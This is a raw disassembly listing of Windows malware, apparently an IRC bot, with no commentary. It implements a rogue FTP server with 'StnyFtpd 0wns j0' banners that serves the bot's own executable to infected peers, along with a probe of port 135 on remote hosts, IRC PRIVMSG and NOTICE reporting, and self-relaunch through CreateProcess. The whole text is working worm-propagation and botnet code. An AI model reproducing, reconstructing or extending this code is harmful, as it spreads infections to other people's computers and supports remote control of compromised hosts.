loc_403B77:				; CODE XREF: sub_403B00+43j
		push	edi
		call	sub_40CD81
		pop	ecx
		pop	edi
		pop	esi


loc_403B80:				; CODE XREF: sub_403B00+1Fj
		pop	ebx
		pop	ebp
		retn
sub_403B00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B83	proc near		; DATA XREF: sub_407041+19o

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_42F414
		call	dword_42D90C	; closesocket
		call	sub_40C225
		call	dword_42D7E4	; WSACleanup
		call	dword_42D7E4	; WSACleanup
		mov	ebx, dword_418040
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_40CC40
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_40CC40
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_4242F0
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	dword_418088	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	dword_41804C	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	dword_418078	; CreateProcessA
		test	eax, eax
		jz	short loc_403C48
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, dword_41807C
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_403C48:				; CODE XREF: sub_403B83+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_42D32C
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	dword_418074	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx
sub_403B83	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C6B	proc near		; CODE XREF: sub_403CA3+125p
					; sub_403CA3+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_403C99


loc_403C7C:				; CODE XREF: sub_403C6B+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_40E000
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_403C9F
		inc	esi
		cmp	esi, edi
		jl	short loc_403C7C


loc_403C99:				; CODE XREF: sub_403C6B+Fj
		xor	al, al


loc_403C9B:				; CODE XREF: sub_403C6B+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_403C9F:				; CODE XREF: sub_403C6B+27j
		mov	al, 1
		jmp	short loc_403C9B
sub_403C6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403CA3	proc near		; CODE XREF: sub_402972+8Bp

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_40CCA0
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_403CE4
		dec	eax
		jz	short loc_403CC2
		dec	eax


loc_403CBC:				; CODE XREF: sub_403CA3+57j
		xor	eax, eax


loc_403CBE:				; CODE XREF: sub_403CA3+3Fj
					; sub_403CA3+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_403CC2:				; CODE XREF: sub_403CA3+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_42D8B4	; inet_addr
		push	eax
		call	sub_4014AE
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_403CBE
; ---------------------------------------------------------------------------


loc_403CE4:				; CODE XREF: sub_403CA3+13j
		push	6
		push	1
		push	2
		call	dword_42D8F4	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_403CBC
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_40CC40
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_42D878	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_4057D9
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_42D824	; connect
		cmp	eax, edi
		jz	loc_403E00
		push	ebx
		push	48h
		push	offset dword_41C018
		push	esi
		call	dword_42D8C4	; send
		cmp	eax, edi
		jz	loc_403E00
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_42D890	; recv
		cmp	eax, edi
		jz	loc_403E00
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_403E00
		push	ebx
		push	18h
		push	offset dword_41C064
		push	[ebp+arg_4]
		call	dword_42D8C4	; send
		cmp	eax, edi
		jz	short loc_403E00
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_42D890	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_403E00
		cmp	[ebp+var_200E],	2
		jnz	short loc_403E00
		push	10h
		push	offset loc_41C080
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_403C6B
		add	esp, 10h
		test	al, al
		jz	short loc_403DE0
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_403E00
; ---------------------------------------------------------------------------


loc_403DE0:				; CODE XREF: sub_403CA3+12Fj
		push	10h
		push	offset dword_41C094
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_403C6B
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_403E00:				; CODE XREF: sub_403CA3+9Bj
					; sub_403CA3+B2j ...
		push	[ebp+arg_4]
		call	dword_42D90C	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_403CBE
sub_403CA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E11	proc near		; DATA XREF: sub_401141+227o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_134		= byte ptr -134h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		inc	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_24], ebx
		mov	[ebp+var_28], ebx
		mov	[ebp+var_238], edi
		mov	[ebp+var_438], edi
		call	dword_418188	; WSAStartup
		push	edi
		call	sub_40E2E2
		push	eax
		call	sub_40CB55
		push	0FA00h
		push	539h
		call	sub_40301D
		add	esp, 10h
		mov	dword_42D334, eax
		push	edi
		push	ebx
		push	2
		call	dword_4181B4	; socket
		mov	esi, eax
		lea	eax, [ebp+var_24]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		call	dword_4181A8	; setsockopt
		lea	eax, [ebp+var_28]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_41818C	; ioctlsocket
		mov	ax, word ptr dword_42D334
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		call	dword_4181A0	; htons
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	dword_418190	; bind
		test	eax, eax
		jge	short loc_403EE6
		mov	eax, ebx
		jmp	loc_4043F1
; ---------------------------------------------------------------------------


loc_403EE6:				; CODE XREF: sub_403E11+CCj
		push	0Ah
		push	esi
		call	dword_418194	; listen
		mov	[ebp+var_238], ebx
		mov	ebx, dword_4181B8
		mov	[ebp+var_234], esi
		mov	[ebp+var_4], esi


loc_403F04:				; CODE XREF: sub_403E11+12Aj
					; sub_403E11+5D8j
		push	41h
		lea	esi, [ebp+var_238]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	edi, edi
		lea	eax, [ebp+var_438]
		push	edi
		push	edi
		push	edi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	dword_4181BC	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_4043EE
		cmp	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jl	short loc_403F04


loc_403F3D:				; CODE XREF: sub_403E11+5D2j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_40CC40
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_40CC40
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_417A78	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4043DC
		cmp	edi, [ebp+var_C]
		jnz	short loc_403FE6
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_134]
		push	eax
		push	[ebp+var_C]
		call	dword_418198	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_4043DC
		mov	edx, [ebp+var_238]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_403FB8


loc_403FAA:				; CODE XREF: sub_403E11+1A5j
		cmp	[ebp+ecx*4+var_234], eax
		jz	short loc_403FB8
		inc	ecx
		cmp	ecx, edx
		jb	short loc_403FAA


loc_403FB8:				; CODE XREF: sub_403E11+197j
					; sub_403E11+1A0j
		cmp	ecx, edx
		jnz	short loc_403FCE
		cmp	edx, 40h
		jnb	short loc_403FCE
		mov	[ebp+ecx*4+var_234], eax
		inc	[ebp+var_238]


loc_403FCE:				; CODE XREF: sub_403E11+1A9j
					; sub_403E11+1AEj
		cmp	eax, [ebp+var_4]
		jle	short loc_403FD6
		mov	[ebp+var_4], eax


loc_403FD6:				; CODE XREF: sub_403E11+1C0j
		push	esi
		push	15h
		push	offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_4043DC
; ---------------------------------------------------------------------------


loc_403FE6:				; CODE XREF: sub_403E11+167j
		push	esi
		lea	eax, [ebp+var_29C]
		push	64h
		push	eax
		push	edi
		call	dword_4181AC	; recv
		test	eax, eax
		jg	short loc_404043
		mov	ecx, [ebp+var_238]
		xor	eax, eax
		cmp	ecx, esi
		jbe	short loc_404037


loc_404007:				; CODE XREF: sub_403E11+202j
		cmp	[ebp+eax*4+var_234], edi
		jz	short loc_40402C
		inc	eax
		cmp	eax, ecx
		jb	short loc_404007
		jmp	short loc_404037
; ---------------------------------------------------------------------------


loc_404017:				; CODE XREF: sub_403E11+21Ej
		mov	ecx, [ebp+eax*4+var_230]
		mov	[ebp+eax*4+var_234], ecx
		mov	ecx, [ebp+var_238]
		inc	eax


loc_40402C:				; CODE XREF: sub_403E11+1FDj
		dec	ecx
		cmp	eax, ecx
		jb	short loc_404017
		dec	[ebp+var_238]


loc_404037:				; CODE XREF: sub_403E11+1F4j
					; sub_403E11+204j
		push	edi
		call	dword_4181B0	; closesocket
		jmp	loc_4043DC
; ---------------------------------------------------------------------------


loc_404043:				; CODE XREF: sub_403E11+1E8j
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS	; "%s %s"
		push	eax
		call	sub_40CB7D
		lea	eax, [ebp+var_AC]
		push	offset aUser	; "USER"
		push	eax
		call	sub_40D860
		add	esp, 18h
		test	eax, eax
		jnz	short loc_404087
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4043C7
; ---------------------------------------------------------------------------


loc_404087:				; CODE XREF: sub_403E11+267j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4040AB
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4043C7
; ---------------------------------------------------------------------------


loc_4040AB:				; CODE XREF: sub_403E11+28Bj
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4040CF
		push	esi
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	loc_4043C7
; ---------------------------------------------------------------------------


loc_4040CF:				; CODE XREF: sub_403E11+2AFj
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4040F3
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4043C7
; ---------------------------------------------------------------------------


loc_4040F3:				; CODE XREF: sub_403E11+2D3j
		lea	eax, [ebp+var_AC]
		push	offset off_41C280
		push	eax
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404117
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4043C7
; ---------------------------------------------------------------------------


loc_404117:				; CODE XREF: sub_403E11+2F7j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404152
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404152
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4043C7
; ---------------------------------------------------------------------------


loc_404152:				; CODE XREF: sub_403E11+31Bj
					; sub_403E11+332j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40418D
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40418D
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4043C7
; ---------------------------------------------------------------------------


loc_40418D:				; CODE XREF: sub_403E11+356j
					; sub_403E11+36Dj
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4041DB
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_40CBC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]


loc_4041CB:				; CODE XREF: sub_403E11+409j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		jmp	loc_4043CA
; ---------------------------------------------------------------------------


loc_4041DB:				; CODE XREF: sub_403E11+391j
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40421C
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_40CBC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_4041CB
; ---------------------------------------------------------------------------


loc_40421C:				; CODE XREF: sub_403E11+3DFj
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4042ED
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_40CB7D
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_40D9BF
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_40D9BF
		mov	[ebp+arg_0], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_40CC40
		push	[ebp+arg_0]
		lea	eax, [ebp+var_F8]
		push	[ebp+var_8]
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_40C6C3
		add	esp, 44h
		lea	eax, [ebp+var_F8]
		push	10h
		push	esi
		push	eax
		call	sub_40E2CB
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_40C6C3
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_4043C7
; ---------------------------------------------------------------------------


loc_4042ED:				; CODE XREF: sub_403E11+420j
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4043A8
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_4043F8
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40439E
		call	sub_404475
		cmp	eax, 1
		jnz	loc_4043CA
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	dword_42D334
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset unk_41C0F0
		push	eax
		call	sub_40C6C3
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_40438F
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_404555
		add	esp, 14h


loc_40438F:				; CODE XREF: sub_403E11+559j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_403145
		pop	ecx
		jmp	short loc_4043CA
; ---------------------------------------------------------------------------


loc_40439E:				; CODE XREF: sub_403E11+513j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4043C7
; ---------------------------------------------------------------------------


loc_4043A8:				; CODE XREF: sub_403E11+4F1j
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4043CA
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_4043C7:				; CODE XREF: sub_403E11+271j
					; sub_403E11+295j ...
		push	edi
		call	ebx	; send


loc_4043CA:				; CODE XREF: sub_403E11+3C5j
					; sub_403E11+51Dj ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_40CC40
		add	esp, 0Ch


loc_4043DC:				; CODE XREF: sub_403E11+15Ej
					; sub_403E11+187j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_403F3D
		jmp	loc_403F04
; ---------------------------------------------------------------------------


loc_4043EE:				; CODE XREF: sub_403E11+11Ej
		xor	eax, eax
		inc	eax


loc_4043F1:				; CODE XREF: sub_403E11+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_403E11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4043F8	proc near		; CODE XREF: sub_403E11+509p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	dword_418188	; WSAStartup
		push	0
		push	1
		push	2
		call	dword_4181B4	; socket
		push	[ebp+arg_0]
		mov	dword_42D330, eax
		mov	[ebp+var_10], 2
		call	dword_41819C	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_4181A0	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_42D330
		call	dword_4181A4	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404470
		push	dword_42D330
		call	dword_4181B0	; closesocket
		call	dword_418184	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_404470:				; CODE XREF: sub_4043F8+60j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_4043F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404475	proc near		; CODE XREF: sub_403E11+515p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	dword_41804C	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset dword_41BD40
		push	eax
		call	sub_40DDC8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40450C
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_4044F0
		push	edi
		mov	edi, 400h


loc_4044B8:				; CODE XREF: sub_404475+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_40DA20
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_42D330
		call	dword_4181B8	; send
		push	1
		call	dword_418040	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_4044B8
		pop	edi


loc_4044F0:				; CODE XREF: sub_404475+3Bj
		push	esi
		call	sub_40D9CA
		pop	ecx
		push	dword_42D330
		call	dword_4181B0	; closesocket
		call	dword_418184	; WSACleanup
		xor	eax, eax
		inc	eax


loc_40450C:				; CODE XREF: sub_404475+35j
		pop	esi
		leave
		retn
sub_404475	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40450F	proc near		; CODE XREF: sub_407681+3Dp
					; sub_4077FD+1B6p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_40D8E4
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_40CBC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_42D8C4	; send
		leave
		retn
sub_40450F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404555	proc near		; CODE XREF: sub_401000+B2p
					; sub_4010CA+61p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_404570
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_404570:				; CODE XREF: sub_404555+14j
		push	edi
		call	sub_40CBC0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_40CBC0
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_0	; "%s"
		push	esi
		push	eax
		call	sub_40D3F7
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS	; "%s %s :%s\r\n"
		push	eax
		call	sub_40C6C3
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_40CBC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_42D8C4	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_4045EE
		push	7D0h
		call	dword_418040	; Sleep

locret_4045EE:				; CODE XREF: sub_404555+8Cj
		leave
		retn
sub_404555	endp


; =============== S U B	R O U T	I N E =======================================



sub_4045F0	proc near		; CODE XREF: sub_407041+50p
		push	ebx
		push	ebp
		mov	ebp, dword_418094
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, dword_418090
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_404710
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_42D920, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_42D898, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_42D87C, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_42D7A8, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_42D758, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_42D784, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_42D7F4, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_42D8D4, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_42D92C, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_42D7B4, eax
		call	esi	; GetProcAddress
		cmp	dword_42D920, ebx
		mov	dword_42D79C, eax
		jz	short loc_4046EE
		cmp	dword_42D898, ebx
		jz	short loc_4046EE
		cmp	dword_42D87C, ebx
		jz	short loc_4046EE
		cmp	dword_42D7A8, ebx
		jz	short loc_4046EE
		cmp	dword_42D784, ebx
		jz	short loc_4046EE
		cmp	dword_42D7F4, ebx
		jz	short loc_4046EE
		cmp	dword_42D8D4, ebx
		jz	short loc_4046EE
		cmp	dword_42D92C, ebx
		jz	short loc_4046EE
		cmp	dword_42D7B4, ebx
		jz	short loc_4046EE
		cmp	eax, ebx
		jnz	short loc_4046F8


loc_4046EE:				; CODE XREF: sub_4045F0+B8j
					; sub_4045F0+C0j ...
